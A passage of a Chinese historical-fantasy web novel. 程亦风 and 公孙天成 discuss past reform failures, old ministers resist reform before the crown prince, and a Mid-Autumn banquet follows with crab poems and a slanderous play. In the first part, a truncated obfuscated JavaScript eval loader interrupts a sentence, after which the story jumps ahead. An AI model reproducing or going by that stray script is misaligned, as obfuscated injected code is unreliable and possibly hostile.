公孙天成合上了文集:“文正公要替真宗先帝善后。他想,先在京畿地方整顿秩序,把新法按照设想地施行起来,然后逐渐推行到各地。可是还未着手,各地要求废除新法的奏折就已经递上京来。朝会上也响起了一片反对变法只声。真宗先帝本来只求速速见到利处,不想却越弄越糟,也就有放弃之意。但文正公知道,新法只是需要耗时费力使之按照计划施行,并不可废除,且一旦废除,举国都将对改革失望,所以他坚决反对放弃。恰真宗先帝对于变法未见成效也心有不甘,便让文正公继续主持新政。” “后来呢?”程亦风问。 “后来就遇到了接二连三的天灾。”公孙天成道,“初时只不过是彗星而已。老朽因为喜好五行八卦天文星相,知道彗星一出,必然有人要借此大做文章。当时我可以算是文正公的朋友,但也可以算是他的门客,就劝他,不如放弃新法,做个太平宰相。但文正公不肯。他的‘天变不足畏,祖宗不可法,人言不足信’的名言就是出于彼时。” “于大人在这种情形下还继续推行新政?”程亦风不得不佩服,若换了自己,大概又摔乌纱帽了。 公孙天成道:“文正公为了新政可谓呕心沥血,在景隆十年到十一年朝廷内外反对新政的呼声越来越高,文正公几乎是孤军奋战。在此种情形下,若真宗先帝能与文正公同心,继续坚持推行新政,纠正以往之过失,或许事情不会到后来那步田地。”他叹了一口气,无限惋惜:“而若文正公肯为自己前途打算,放弃新政,那也……唉,但文正公就是文正公,我虽期望他能太平无事的与妻儿安享天年,但他若那样做了,也就不是老朽所认识的文正公了。” 那序中止说于文正自刎于家中,细节并没有提,程亦风只能听公孙天成继续陈述。 “因为天灾不断,而真宗自己又突然病重,他便以为是新法得罪了祖宗。”公孙天成道,“他下了罪己诏废除新政,又要文正公闭门思过。文正公本来并没有责任,可是他觉得愧对天下,于是就……”想起了老友含冤而死,公孙天成的声音有些沙哑,顿了顿,才继续说下去:“老朽看,这一切都是真宗先帝的过失,文正公替他背负骂名而已。大约真宗先帝也心中有愧,即将公谥为‘文’,追赠太傅,今上登基后又加谥‘正’。” “由此看来,今上对于大人也是相当欣赏的吧?”程亦风道,“先帝因为变法失败,心灰意冷,可能是因为一时之气而下诏后世皆不得更改祖宗之法。但今上初登基时,意气风发,既欣赏于大人,怎么不把他的文章好好研究……” “今上?”公孙天成冷笑一声,“程大人莫怪老朽又要说些大逆不道的话了。程大人高中是在哪一年?” “元酆七年。” “七年……”公孙天成幽幽地,“老朽对朝廷失望,绝了出仕之心,应该是在元酆三年吧?那一年,今上下诏,文正公配享真宗庙庭——哦,程大人大概也不知道,今上和文正公还是连襟关系呢!” “这……”程亦风的确是没听说过,就连于适之这个人他也是今天才晓得。他想,无论功过如何,此人也算是一朝名臣,结局虽凄凉,但死后配享庙庭,此一份殊荣非一般人可得。但为什么天下竟好像把此人忘了个干净?这样好的一本文集,似乎也未曾流传于世。更奇怪的是,元酆帝和于适之是连襟,为兄弟办些身后事理所当然,就酸他的确昏庸,但怎至于公孙天成恨他至肆,在元酆三年就退隐山林? 疑团一个接一个。尤其,公孙天成这老先生,本身就像是一个迷。相交以来,老先生对自己的过去绝口不提,今日透露一二,却让迷雾更浓。 程亦风不解地望着他。 公孙天成仿佛发觉自己失言了一般,笑着摆了摆手:“旧事不提也罢。老朽跟程大人罗嗦了这许多文正公的事,无非是想给大人提个醒——变法,经景隆改制之后,愈加困难。大人和朝中百官难免要有一场‘恶战’。” 程亦风点了点头,不无感慨地说道:“天下人知我程亦风,一是空城计,二是落雁谷——大青河是先生的功劳,这且不提。世人眼中,我是个只会逃跑的将领。在满朝文武看来,我是个碰壁而逃的懦夫。今听先生讲于大人事迹,程某惭愧不已。这次一定效法于大人,革除旧弊。” 公孙天成微笑,似是赞许:“不过,老朽虽然用了‘恶战’一词,大人要做的却不是与满朝文武为敌。应当是通过一场论战化敌为友——若要使百官同心合一,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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公孙天成已经一揖到地:“老朽说,若楚国这个病人不能周身换血,必死无疑。今日听说太子支持变法,可见是有换血之心,老朽有生之年若能看到文正公的新法推行天下,死而无憾!” “先生!”程亦风赶紧将老先生扶起,发现他眼中竟然有泪光,“程某何德何能?能有先生相助,那是程某的福气,更是天下黎民的福气。先前也是程某误会先生了。” “不,”公孙天成道,“平崖的时候,也的确是老朽说错了话。相信如果是文正公,也必然和大人一样要和老朽绝交的。大人之所以是大人,之所以值得老朽把文正公未尽之事业托付于你,就是因为大人是一个绝对不会为老朽那种杀鸡取卵的建议所迷惑的人。” “先生把晚生看得太高了。”程亦风道,“晚生无非是胆小怕事,又会说漂亮话。这新法,还是要靠先生!” 已经不需要再说客套话了,程亦风让书童沏上茶来,请公孙天成上座,两人经过这一次摩擦,亦师亦友的关系更胜从前。 公孙天成看程亦风剔亮了灯火仿佛要和自己连夜商议新法的是,摆手而笑:“大人方才还答应不急进,转头就忘记了么?目下的当务之急难道不是打法冷千山冷一党人,同时派人去大青河一边和谈一边安抚司马将军么?” 啊!可不!程亦风暗骂自己“说风就是雨”——冷千山一党不打法走,只会留在京城对新法横加阻碍,司马非如果安抚不了,肯定也要来给他找麻烦。工欲善其事,必先利其器,先烧了这片荆棘,再来重新播种。 当下,他将一切新老奏章推开一旁,另铺了张白纸,向公孙天成虚心讨教。 这一夜受益良多,不知不觉就已经天明。送了公孙天成回去休息之后,程亦风漫步花园舒展筋骨——他家没有花匠打理,四处野草野花,虽然杂乱,但也别有自然情趣。尤其那满是浮萍的小池塘里睡莲露出尖尖角——虽只是含苞欲放,但清香已经透了出来,让人心旷神怡。程亦风的心情也是绝佳,倒像是当日在凤竹山行宫,符雅给他讲过山寺花开的故事后,醒来时也是这样充满了希望。 符雅……正想到这个女子,忽然就见她匆匆自□□上跑了过来。程亦风不禁一愣:“符小姐,怎么一大早又来借书吗?”——她不是前日半夜才离开么? “我就一目十行,也没有那种好本事。”符雅道,“程大人快进宫去吧,我是替太子殿下来搬救兵的。” “殿下又怎么了?”程亦风一愣。 符雅道:“一大早许多老学就就一齐来到东宫求见太子,太子那头让人去请风雷社的士子们,这头就正好撞见我替皇后娘娘来办差,就叫我立刻请大人进宫去呢——” “老学究?都有什么人?为什么殿下要找我?”程亦风莫名其妙。 符雅看他脸又倦容,猜测必是一宿没睡,跺脚道:“大人累糊涂了吧?这还不明摆着么?你们想要万事俱备才去宣布变法之事,好打那些反对派一个措手不及。如今人家得到了风声,给你们来个出其不意!” 程亦风不由下巴掉到了胸口上:“这……怎么会走漏风声?” “哪还能计较这些?”符雅一边催促他出门一边道,“大人现在要去请公孙先生么?” 虽然慌乱,但是公孙天成劳累整夜,现在不该再打扰他。程亦风因而摇摇头——他承诺老先生要继承于适之的遗志,就意味着自己不可以碰壁而逃。将来这种交锋还不知道有多少,他可以从今日开始面对。 下了这样的决心,精神也为之一振,随之整了整仪容,跟着符雅来到宫中。 果然,东宫已经聚集了二十多个官员——有通政使司的,有翰林院的,三殿六部也有,齐齐跪在竣熙的面前:“殿下不可听信小人谗言。” 竣熙被他们围在当中,似乎发了很大的火,满面通红:“什么谗言?我倒先来问你!你们通政使司是不是扣下了过往所有要求变法的折子?” 通政使姚长霖正在队伍中,他年愈五十,多年来兢兢业业,不贪污不纳贿,众人之中颇有令名。此时在地上碰了碰头,道:“那些奏章尽废先王之法,动摇社稷根本,臣不能任其惑乱视听,只有押下不报。” 程亦风一讶。竣熙已先火了,道:“好大的胆子!什么叫动摇社稷根本?什么叫惑乱视听?不报上来议一议,就凭你一家之言便……这简直是无法无天了!” “殿下息怒。”姚长霖道,“臣资质有限,岂敢独断专行?实与众位大臣商议之后,才有此决定。” “众位大臣”显然就是指的现在跪着的这一批了吧?有礼部尚书赵兴,吏部尚书王致和,翰林院掌院学士张显……大多都是老臣。果然是符雅说的老学究。 竣熙更加生气了:“你们商议?谁给你们欺上瞒下之权?” 张显答他:“殿下此言差矣。太祖皇帝在立国之初就定下了规矩:凡政令出于天子,崇文、靖武两殿有权议论驳斥;两殿所定之国策,交翰林院起草诏书,翰林院有权封还;翰林院所作之草稿还至六部给事中审议,给事中有权缴驳;而政令最终议定又由天子画可之后,獬豸院及其他各有关官员皆有权议论。唯其如此,政令才不失公义,能明出令行,且公行之。” “这个我自然知道。”竣熙道,“但是,张大人方才也说是‘政令出于天子’,你们如今拦下旁人的奏章,不叫我见到,若见不到还出什么政令?两殿以其他各部还议论驳斥什么?谁给你们这么大的胆子,居然结党连派,阻塞言路?” “殿下有所不知。”这次发话的是赵兴,官员中他年纪最长,资格最老,已历两朝,曾经也是元酆帝的挂名老师。若换在平时,竣熙决不敢让老人家在自己面前跪着说话,今日实在恼火,所以也不赐平身。赵兴道:“祖宗之法不可废,先皇之政不可改。何者?历朝经验也!殿下看程大人和些士子的奏章新鲜,岂不知二十五年前也有人提过变法么?” 竣熙自然不知,那时他还未出生。便程亦风也还是懵懂孩童——不过昨夜跟公孙天成长谈之后,他已经知道,必然是于适之的“景隆改制”。 果然,赵兴把经过略说了一回,但是对于适之的作为全然贬抑:“于适之一意孤行,谓‘天变不足畏,祖宗不可法,人言不足信’,坚持变法。结果,在景隆十一年,天江、大青河相继泛滥,瘟疫蔓延,京畿一带则发生大地震,奉先殿被震毁。先帝突染重病,卧床不起,这时才知道是变法惹怒祖宗,立刻下罪己诏,废除一切新法。于适之自知罪孽深重,愧对天下,自刎于家中。此后不久,先帝驾崩,遗命祖宗之法决不可改,日后一切上疏求变法的奏章,不予理会。当今圣上秉承先皇遗志,甫一登基就将谨守祖训诏为国是,令通政使司不必呈递求变法的奏折。后来圣上渐渐不理朝政,一切都由三殿六部代理,臣等更深感责任重大。可是,新旧官员更替,有些不明厉害的新人始终想打祖宗之法的主义——比方说前任户部尚书葛岳,年少气盛,急功近利,就时常有诋毁祖宗的企图。幸亏臣等发觉得早,将他出为江东总督,否则大祸成矣!” 啊,葛大人!不就是当初把程亦风调回京师,又升为户部员外郎的么?原先还奇怪怎么自己才一回朝,一事未做,此人就外放了,竟还有这些原委! 他们说得振振有辞,竣熙一时也呆住了。程亦风本想开口,却忽然听到身后传来风雷社士子们的声音。原来他们也赶到了。那高齐首先大步走了上来:“各位大人说的不无道理,只是学生有两点不解。其一,祖宗之法是否从来就一成不变?其二,如果祖宗之法确实利国利民,一成不变,为何在我楚国之前许多刻守祖法的国家都灭亡了呢?” 赵兴听他问第一条,还满有信心觉得可以回答,但听到第二个问题,就气得吹胡子瞪眼:“你问此话是何居心?” 高齐道:“哪有居心?无非心中有惑,请教而已。” 爆脾气的王致和可看不下去了,怒道:“你分明是暗示,若不修改祖宗之法,我楚国也难免……”发觉自己说出大逆不道之话,赶忙打住。 高齐一笑,道:“赵大人不愿回答,那学生就把自己的浅见说个一二,请各位大人评判——祖宗之法,若只说是我朝太祖皇帝,则太祖所定之法,在建制之始和太祖末年就已有了不同,太宗之法与太祖也有不同——王大人在吏部应该知道,当日学生等建议废止的‘大挑’之法,就不是始于太祖朝。” 王致和“哼”了一声,不答。 高齐接着道:“若是说祖宗之法要追溯到三皇五帝,那法祖宗就只能是法其意,无法法其实,而历代盛世正是如此。” 赵兴道:“不错,盛世明君,治国有道。我楚国所离祖宗家法就是太祖皇帝从历朝明君处学来的,太宗皇帝又加以完善,是为我国不变之纲。你所说之‘大挑’此为小节。小节可以议论,而总纲不可动摇。” 高齐一笑,道:“学生家乡盛产琥珀,其中常见上古虫豸,形状美丽,而今已不复存世。学生常想,为何此中虫豸要遭灭绝?大约时移事易,干湿冷暖变化,今日与上古不同,此虫无法生存。一只虫豸的生存之道,便好比一个朝廷的治世之策,天下已不同,旧政岂一定能适合新世?” 这一辩真是巧妙!程亦风心中赞叹,同时自己也受了莫大的启发,忍不住接着道:“正是如此。楚之前有晋,晋之前有梁。梁文帝是为史家所称道的明君,晋仁宗也有‘天佑盛世’之绩,两人都推崇儒术,以文德治国,但梁文帝治国之策与晋仁宗的完全不同。何也?梁紧接十六国之乱,只得半壁江山,人口不过千万,而晋一统天下,人口近亿,试问两朝之税制、官制、兵制何能相同?当今之天下与太祖、太宗时相比,亦是相同道理。太祖立国,天下方定,政令以修养生息并防止颠覆为主。太宗时,四海归一,百姓安居乐业,政令便以修水利、兴学校为重。此两朝,既无西瑶又无樾寇,自然谈不上连年征战。而如今,外敌压境、百姓贫弱,怎能和太祖太宗朝同日而语?” 赵兴等群臣听了,都不知如何反驳,有的沉默,有的则依然碰头不止,喃喃说:“祖宗之法不可废,先帝之政不可改。殿下三思,三思啊!” 竣熙皱着眉头,然而那依旧稚气的脸上却并没有踌躇之色,相反,满是坚决:“你们不用多言。改不改,怎么改,这些都先奏上来两殿议了再定夺——我看就三天吧,三天后我亲自主持两殿平章,如何?” 众老臣们自然都碰头说“万万不可”。而风雷社的士子们则都兴奋不已。竣熙最终看到程亦风了:“程大人,你怎么看?” 程亦风几乎就要被年轻人的热血煽动了起来,但正有一阵风吹过,就好像公孙天成低声提醒他。于是,顿首答道:“臣以为,变法不宜操之过急。” 此言一出,东宫里的人不由都吃了一惊。竣熙怔了半晌,才道:“程大人何出此言?” “景隆改制的惨淡收场,的确如诸位大人所说要作为前车之鉴,不过错不在新法,在急进。”程亦风当下将真宗皇帝如何两个月之内就发出一百三十多条钦定政命之事说了,全然按着公孙天成之前叙述的,前因后果条理清晰,且遣词造句之中既凸显于适之的功绩,又避免指责真宗的急躁,一席话娓娓道来,连老学究们也无法辩驳——其实他们都经历过当年,细细分析程亦风的话,就明白了其中的道理、反而风雷社的士子们年少气盛,没有遇到过大风浪,显出不解的神气——他们所崇拜的程亦风,怎么有些畏首畏尾? “新法不是洪水猛兽,但新法也不是天庭仙丹。”程亦风道,“微臣恳请太子殿下务必选择谨慎稳重之道,千万不要让更多的于文正公含恨而终,更多的百姓欢喜变成哀愁。”说到这里,双膝一曲,竟同赵兴、王致和等人跪在了一处。 “大人!”竣熙连忙来扶他,同时也让老臣们都平身。“大人,我明白了。就按大人的意思,从长计议。” 37. 第 37 章 事情有了计划、有了条例,自然就顺利了起来。 按照公孙天成的计策,大青河有功之人除了程亦风、崔抱月和易水寒已经得到封赏之外,全部官加一品。司马非被封为“定边大元帅”,杀鹿帮的一应人等都领了三品官衔,因他们五个人加起来既有胆识又有耐心还够脸皮厚,所以派为使节,回到大青河跟樾人谈判。樾国那边是刘子飞和吕异主持,双方会于大青河战船之上。两个贵胄出身的将军,遇到了一群土匪,虽然不像石梦泉在远平那样受了皮肉之苦,但也被折腾得不轻。大约谈判到七月中的时候,五位当家不辱使命,除了交换战俘之外,还让对方答应释放去年俘虏的馘国景康帝的妃嫔与弟妹。其他的一些条件,刘子飞和吕异实在无法做主,也被搅和得头都大了,要请示过庆澜帝才能答复。谈判就暂时告一段落。 司马非当了元帅,当然更加想出兵北伐了——尤其,北方探子的消息,玉旒云失了兵权,现任领侍卫内大臣,每天也无事可做,和石梦泉雅至赏花赋诗,俗至斗鸡走狗,无所不玩。她曾经有几次离开京城,探子疑心另有阴谋,不想是到附近游山玩水去了,隔三两天就又回到西京。手里没有兵权,量她也玩不出花样。何况,樾国北疆突然不太平,貌似已经投降的蛮族突然又来侵略,赵王爷领兵和敌人打得难舍难分——这种情形下,进攻樾国岂不正合适?他几次来信要求程亦风考虑出兵。都是公孙天成应付的。老先生一边暗示他可以继续调度冷千山等人的部队,一边又告诉冷千山等,若他们不回驻地,恐怕就要永远做没有部众的将军了。这一党人气哼哼,恨不得立刻飞回去,但是又想留下来看看程亦风的在张罗的新法,究竟会对他们有何利害,所以拖着拖着,就到了八月。 八月里,程亦风终于把推敲许久的变法奏折写出来了。竣熙已经说了,所有对旧制有意见,或者对改革有想法的人都可以上疏朝廷,中秋一过,两殿大学士和六部官员一同讨论,好订出新法大纲。 于是,旁人是盼中秋盼团圆,程亦风却是盼中秋,因此就可以快点看到变法的曙光。 臧天任当然和他是一样的心情,不过这位老友却还“另有算盘”——他发现符雅常常回到程亦风家来借书看,有时被皇后那边的差事缠身不能亲来,就派下人上门。仿佛怕怕下人说不清楚拿错了书似的,一定要给程亦风一封短信,交代是那个人写的那一本书——若不是她相信程亦风家无书不有,就是她已经把程家的藏书背下来了。程亦风总是按照符雅的指示挑好了书,然后也附信一封,让符家下人带回去。一来二往,两人的信也就不只限于借书,谈诗论词,推敲典故的无所不包。臧天任把这一切告诉了自己的妻子,臧夫人道:“符小姐表面上胆子大,实际脸皮薄,肯定不会自己捅破这窗户纸。而程大人大事上聪明,这些小事上一向糊涂。看来还得你这个老朋友来帮他们一把。” 夫妻俩一合计,在中秋的时候到六合居订了一桌酒,请程亦风前来饮酒赏月。“并没有外人,”臧天任道,“你,公孙先生,你那亲随小莫,还有我和拙荆,所以不如把符小姐也请上,她之前帮了你不少忙,总该正式谢谢人家。” 既没有外人,请符雅来也无妨。程亦风想,同时也以此“家宴”为借口,推了宫中的赏月诗会。符雅当然也爽快,到了八月十五准时赴约。 那日,凉城家家户户都张灯结彩,精制的灯笼挂得整条街仿佛银河一般。偏还凑巧,中午下了场雨,街面都是湿湿的,映着那灯火,人在街上走时,不知身在何处。 程亦风和公孙天成、小莫一早就到了六合居。几人闲坐等待的时候,公孙天成就有意无意地问小莫:“你既然是回家探亲,怎么不过完了中秋才来?” 小莫笑道:“我倒想呢。可是我娘说,程大人对我恩重如山,不能总把程大人晾在一边。所以就把我赶回来了。” 是个很识大体的妇人。程亦风想,不过公孙天成这一问充满了怀疑,老先生应该还是认准了小莫是樾国奸细吧?唯有摇头。 等了一会儿,臧天任夫妇也到了,符雅最后一个,进门时又把大家吓了一跳——她竟青衫纶巾,扮成了一个书生,且笑道:“大家看像不像是程大人的模样?” 程亦风细一打量,果然和自己有几分相似:“小姐本有大才,打扮起来也比程某更有大学士样,我看下次朝会有由小姐替程某去吧!” 符雅“嘻”地一笑:“大人现在做事正做得开心,舍得让给符雅吗?再说,符雅是个懒人,巴不得天天睡在家里享福,才不想替大人去遭罪。” 大家都笑了起来,请符雅入席。小二就把酒菜一一摆上,都是中秋时令好菜。并非山珍海味,却也色香味俱全,中间摆了一碟“菊底藏蟹”,乃是用鸡蛋做的菊花,下面几只螃蟹比巴掌还大,实在让人垂涎三尺。 古人“持螯赏菊”,说的是重阳节吃螃蟹看菊花,风雅异常。如今是中秋,赏菊还嫌早,但对着这一盘鸡蛋做出的精巧菊花,程亦风、臧天任等文人,都诗兴大发。符雅也好此道,公孙天成又是迎春花诗会的诗魁,四个人当然一拍即合,说要吟诗助兴。臧夫人首先摇头:“我没有那个本事,不要拉上我。”小莫也道:“大人,我可没那本事,你们饶了我吧!” 符雅道:“写诗这玩意儿本来就是好玩,又不当真。写大白话的多得去了,古人不就有‘蟹肥一个可称斤,酒美三杯真合道’么?依我看,便做打油诗也是好的。我不怕丢人,先来献丑——”她拿了只螃蟹,想了想,即道:“鱼兵虾将皆闻名,龙王面前也横行。问君何来包天胆?肚里无肠复无心。”说完,拔下一只蟹螯来,拿小钳子钳碎,挑肉来吃。 程亦风等先都是一愕,接着哈哈大笑起来:“符小姐这哪里是做诗?这是在骂人呢!” 符雅道:“我骂谁了?大人不是又说我骂玉旒云吧?” 程亦风摇头:“谁横行霸道小姐骂的就是谁。要是现在没见着横行霸道的,就先留着,将来用也一样。” 符雅听了,笑道:“别人开钱庄存钱,程大人开个‘诗庄’把诗也存起来,到了要用的时候本息一同支取。” 程亦风道:“小姐这提议甚是新奇,值得一试。”因唤小二进来,要了文房四宝,当时就把符雅的螃蟹诗抄下:“小姐何时要用,程某双手奉上。” 符雅道:“谢谢了。不过利息要怎么算?” 程亦风道:“小姐不弃,程某就和一首,如何?”当下脱口吟道:“郭索郭索是爷名,无经无纬任我行。介士将军原没胆,无肠公子何须心?”吟罢,也拿了一只螃蟹来,掰只蟹螯钳开来吃。 符雅细品这诗,不禁拍案叫好:“程大人比符雅高明多了。这么重的利息,小心你的诗庄要赔本啊!”边说,边拿了笔来,将程亦风的诗抄下。 小莫听不出诗的好坏来,问道:“符小姐,为什么说程大人的诗比你的好?我听来都差不多呀!” 符雅笑道:“我那纯粹是大白话,什么人也作得。程大人的诗里有典故。古人说蟹有四名,一曰‘螃蟹’,二曰‘郭索’,三曰‘介士’,四曰‘无肠’。‘螃蟹’在《广韵》中有载,云:‘螃蟹本只名蟹,俗加螃字。’取其横行之意。‘郭索’在《太玄?锐》中有载,云:‘蟹之郭索,后蚓黄泉。’说的是螃蟹躁动不安,老是发出唏唏之声。‘介士’即是‘甲士’,指武人,螃蟹有甲壳如披甲胄,有鳌如执剑戟,正像是一个武士啊。不过,‘介士’也指有甲壳的虫豸,故《礼记?月令》有‘介虫败谷’。‘无肠’自然指的是螃蟹内空,‘无肠公子’在《抱朴子?登埗》中有。” “哦!”小莫这才恍然大悟,“听符小姐几句话,真是大长见识。” 程亦风早就知道符雅博古通今,但听她把自己诗中的典故一一说破还是免不了有些吃惊,笑道:“程某只是掉书袋,小姐一讲穿,就一文不值了。” 符雅道:“大人谬赞了,这些都是符雅从大人那里借书来看到的。其实大人这首诗真正的妙处在于如何将典故和寓意结合一处。大人此诗开篇第一句就以螃蟹自己的口吻报上了家门,次句又是螃蟹说话,道出自身狂妄。一句用‘郭索’一句用‘横行’,真真贴切。第三、第四句就是借蟹讽人了,‘介士将军’原来外强中干,装腔作势,‘无肠公子’更是逢场作戏,没心没肺——程大人说我的诗骂人,你这首不是骂得更厉害吗?” 程亦风搔搔脑袋:“呵呵,不过程某现在也没人想骂,一并存在那诗庄里吧!” 众人都是哈哈大笑。而臧夫人就暗暗推了推丈夫,使个眼色,那意思是:他俩可不就是一堆么?你快撮合撮合啊! 可惜臧天任正被那螃蟹诗吸引,把夫人交代的正事都忘了,也没领会出这眼神的意思,只道:“你们都骂绝了,我可不来献丑。不过却想起一个故事来——说是有一个穷书生在街上卖字度日,一日遇上了泼皮,死气白赖,非要他画一幅扇面不可。书生不能和泼皮们动手,只好答应。一时写就了,画了一幅石蟹图,还题一首诗。泼皮们们胸无点墨,不知说的是什么。不过书生因要收档,所以不能解释,就让他们别处找人问问。泼皮中为首的那个其实是个宦家子弟,回家后就叫他父亲读给他听。这可把他父亲气得半死,原来那诗写的是:‘一身青铜甲,两只黑铁叉。将军好游猎,横行到农家。伤了狗尾巴,夹坏猫脚丫。又入菜园去,剪下数枝花。映映夕阳斜,小儿骑竹马。归来见将军,将军把话发:龙王跟前我最大,今日巡游到汝家。美酒佳肴何所在?与俺先来一壶茶!小儿望将军,回身唤姆妈。姆妈出门看,要儿无须怕。此乃水中鲜,看吾整治它。你只须:卸了它的爪,拔了它的牙,大大的生姜把它辣,醋一碗,糖一把——我儿,你吃去吧!’” 他念完,程亦风早笑得一口茶也喷了出去,符雅伏在桌上直叫肚子疼。小莫扶着窗栏直打颤,公孙天成也忍俊不禁:“这人可真是把泼皮们骂得够厉害的。不过,螃蟹虽横行,却不该受到世人如此轻慢啊!” 程亦风道:“先生的意思是?” 公孙天成道:“螃蟹居于河滩之上,以腐尸粪便为食。若无此君,河滩岂不早就积满陈尸腐臭了?” 余人都呆了呆,过去从不知道这一点。符雅道:“那先生莫不是要为螃蟹做一首赞歌?” 公孙天成道:“老朽倒是想呢,不过一时还未得着佳句……”说时,擎着酒杯,暗自思考。 几人是黄昏来到六合居的,玩了这一会儿便天黑了。这时一轮明月高悬空中,不见半朵云彩,亮丽异常。大家都觉得神清气爽。 六合居地处闹市,左近有不少酒家,处处客满,有的觥筹交错,划拳行令之声不绝于耳,有的则轻歌慢舞,伴着文人骚客吟诗作对的推敲。这是一派繁华安宁之景。 只愿天下能长久这样的美好下去,程亦风想。 正这时候,听得店堂中一阵锣鼓之声,众人从雅座里望过去,见是大堂里的戏台上要开戏了。大家也都兴致甚好,把螃蟹诗都丢开一边,等着瞧那边有什么新鲜。 那锣鼓响了一阵之后,台上来了一个小丑,闪转腾挪,功夫甚是俊俏,最后一个筋斗翻到了台前端,腰里抽出一面小旗来,朝店堂中众人一指,道:“呔!尔等敢不叫好?知我是何人么?我乃樾国惊雷大将军玉旒云是也!” 台下人一愕,既而爆发出一阵笑声。楼上雅座里的诸人则是面面相觑:虽然自从朝廷公开宣布大青河的彻底胜利之后,民间与此相关的戏文、评书层出不穷,不过这出戏里竟然把玉旈云弄成一个小丑——虽然是楚国之敌,但也不至于用此手段毁人名声吧? 程亦风皱了皱眉头。符雅见了,笑道:“也许这会儿樾国也有个戏台,上面程大人也是小丑呢!” “我可没有那么好的功夫!”程亦风笑笑——此事还不值得介怀。 台上那小丑报了家门,就开始进入正题——原来是讲大青河石坪之战的戏——上来一个武旦扮崔抱月,率领民兵将石坪攻下,小丑气得在台上直翻跟头,派了几员大将前去收复城池,都被武旦一一击溃,然而武旦收到一封信,云:“兵部尚书程亦风令尔撤退”,她不能抗命,即开始悲叹书生治军,使她错失了彻底消灭玉旒云的机会。 几个戏子都是唱做俱佳的,戏词也写得雅俗共赏。只是,编得离谱,尤其最后那一段,直叫雅座里几人目瞪口呆。楼下也有客人大声道:“这是演的什么乱七八糟的!程大人哪有你们说的那样?便是咱们没有亲眼去大青河看一看,街上没有哪个说书的事这样说的,也素来没有见到哪出戏是这样唱的!”旁边许多人也纷纷赞同:“不许在这里说程大人的坏话。再演,咱们要砸杯子了!” 武旦倒彩喝得愣住,后面丝竹管弦班子也听到骚动,停止了演奏。 小莫解气地道:“好,砸死这群满嘴胡说八道的家伙!”说时,拿了个杯子要朝下掷。 公孙天成叫住了他:“打也没用。一个戏班子编出这样一台戏来,要花不少的功夫。戏班子的人也早该能料到演出来会被人喝倒彩,演这戏一文钱也赚不着——背后必然有人支持指使。我看今天这戏也是特别演给程大人看的。” “那程大人不看,他们不去无趣了吗?”符雅笑道,“我们还是接着喝酒吃螃蟹。该轮到公孙先生作螃蟹颂歌了——”才说,却听到楼下又一阵骚动,有人道:“崔女侠来了!”大家望望,果然看到崔抱月走进了六合居来。 她显然不知道方才的闹剧,目不斜视地直朝楼上走。客人中便有人叫道:“崔女侠,你是来看戏的么?”崔抱月莫名其妙。客人中就有七嘴八舌跟她讲剧情的——她在百姓的心目中自然是巾帼英雄,不过,方才的戏实在将她抬得太高,而将程亦风贬耳太低,有些人难免要把她和编这戏的人联系起来,窃窃不止。 崔抱月听罢,嗤之以鼻:“我崔抱月是什么样的人,你们总晓得。程亦风是个什么样的人,你们也晓得。何必管这戏文怎么说?难道明天突然来了一个给玉旒云歌功颂德的戏班子,玉旒云就从女强盗变成了贤德淑女了么?”她看了看台上的戏子,道:“演啊,把你们叫来就是要演戏的嘛——你们的主子在楼上吗?” 众戏子早就呆住了,班主从后面跑了出来:“崔……崔女侠……我们也是混口饭吃……什么主子不主子的……实在是不知道。” 崔抱月冷笑:“好,就算你不知道。我自己去把他揪出来——我说是谁神神秘秘地叫我上六合居,现在见你们耍猴戏,我看这人多半是个无聊文人。哼!”她说着,分开人群,大步朝楼上走。 程亦风看着她似乎径直往自己这间雅室来了,不禁心中一惊:哎呀,莫不是有人故意要叫我跟崔女侠起冲突?这女人可难缠得很!不过这一时间,躲也没处躲,藏也没处藏……心里一烦乱,差点儿又把筷子伸到砚台里去。亏得符雅帮他轻轻挡开了。 这女子善解人意,起身往外走,打算崔抱月一旦来找麻烦,她可先敷衍着。可谁知崔抱月经过雅室门口,半步也不停留,一直走到店堂的那一头去了,这才在一间雅室门前站定,喝道:“藏头露尾算什么好汉?出来跟本姑娘会一会!” 她话音落下,雅室里果然走出人来了,还不止一个——是冷千山、向垂杨、董鹏枭、鲁崇明,以及他们那一党的其他官员。 崔抱月其实自大青河之战过后和冷千山等已经不像过去走得那么近了。这时见到,先是愣了愣,既而怒形于色,道:“冷将军,这是什么意思?有时间不回去揽江操练兵士,搞这些无谓的名堂?叫我来究竟是要做什么?” “你——”崔抱月虽然贵为陈国夫人,但是和冷千山一手提拔密不可分。她竟然敢这样同自己说话?冷千山真是气白了脸。 鲁崇明不想外人看笑话,就出来打圆场:“陈国夫人误会了,这天香轩里所有人都是是被下帖子请到这儿来的。你也得到帖子了么?真是奇怪!” 崔抱月呆了呆,道:“是。”因从袖中取出一封请贴来。众人见了,也各自拿出请贴来,竟是一模一样的——宝石蓝丝绒底,烫金大字,内中写“八月十五中秋佳节,六合居,天香轩,恭候大驾”,后面却没有落款。 冷千山等人是赴约而来,程亦风却是臧天任请的,符雅想,莫非这个“有心人”连程亦风的一举一动也晓得?如此还是不要露面得好!她因不再立于门口,回到桌边。大家都默默地喝酒吃菜,生怕有太大响动会把冷千山引过来。 那边鲁崇明道:“事情真是蹊跷,不过这戏班子跑不了,六合居的掌柜也跑不了,咱们且去问问——大不了叫顺天府统统押回去,不怕他们不说。” 众人都赞同,于是一同下楼去兴师问罪。戏班子的人知道出了麻烦,已迅速地拾掇了东西,准备溜之大吉,被冷千山一声断喝拦在原地:“你们快老实交代,这戏究竟是什么人指使你们演的?” 班主吓得两腿如筛糠,“扑通”跪倒在地:“大人……小……小的真是被财迷了心窍……有人给了我们班子一百两银子叫我们演这出戏……小人开始也不答应,毕竟歪曲事实,诋毁程大人……” “关程亦风什么事!”冷千山道,“你且说,是谁给你的银子?” “小人……小人不认识。”班主磕头道,“不过肯定不简单——小人本来想,拿了拿了银子就溜走,不趟这浑水,但那个人说,八月十五那天他要和他家主人一起来看戏。小人恐怕不好好演,会招来杀身之祸……请各位大人一定要替小人做主啊!”说时,声泪俱下。 冷千山厌烦地挥挥手,叫他闪开一边去听候发落。余人心中都想道:这背后的神秘人应该也在六合居中吧?他看的恐怕不是台上的闹剧,而是台下的好戏! 冷千山把六合居的掌柜唤了过来:“是谁让这戏班在你六合居登台的?” “大人明察!”掌柜道,“这戏班在小店唱戏已经有半年工夫了。小人也不知道今天会唱出这戏来——小人方才在后面看帐本,没听见前面唱什么。要不然,早就把他们轰下去了。” 